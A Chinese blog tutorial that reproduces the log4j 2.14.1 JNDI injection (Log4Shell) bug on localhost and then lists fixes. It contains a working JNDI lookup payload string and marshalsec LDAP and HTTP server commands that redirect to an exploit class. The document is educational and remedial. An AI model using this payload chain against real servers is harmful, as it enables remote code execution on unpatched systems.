log4j 零日漏洞复现及修复

漏洞简述

该漏洞影响log4j 2 - 2.15-rc1 的所有版本。
目前2.15-rc2 版本已经修复。

准备环境

  1. log4j 2.14.1 版本。
  2. marshalsec java 反序列利用库。
  3. 一个简单的http服务器。

开始复现

搭建一个简单的maven项目。依赖如下:


        
            org.apache.logging.log4j
            log4j-core
            2.14.1
        

        
            org.apache.logging.log4j
            log4j-api
            2.14.1
        
    

写一个主工程。代码如下:

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class DemoApplication {

    private static Logger logger = LogManager.getLogger(DemoApplication.class);

    public static void main(String[] args) {
        logger.error("${jndi:ldap://127.0.0.1:1389}");
    }
}

启动marshalsec,生成一个jndi注入点。

java -cp .\marshalsec-0.0.3-SNAPSHOT-all.jar  marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Exploit"

启动一个web server, 模拟最终的攻击服务器。

python -m http.server 8888

准备完成后,进行复现。
启动Java 主工程。
打印日志:

12:52:27.506 [main] ERROR com.example.demo.DemoApplication - com.sun.jndi.ldap.LdapCtx@1750fbeb

说明已经访问了反序列服务。
查看marshalsec 日志。

Send LDAP reference result for  redirecting to http://127.0.0.1:8888/Exploit.class
Send LDAP reference result for  redirecting to http://127.0.0.1:8888/Exploit.class

修复方法

  1. 增加jvm参数:-Dlog4j2.formatMsgNoLookups=true
    或者在应用classpath下添加log4j2.component.properties配置文件,log4j2.formatMsgNoLookups=true
  2. 替换jar包。目前已经有2.15-rc2 版本的log4j.
    地址:https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2

参考链接:
https://github.com/tangxiaofeng7/apache-log4j-poc
https://blog.csdn.net/whatday/article/details/107942941

你可能感兴趣的:(log4j 零日漏洞复现及修复)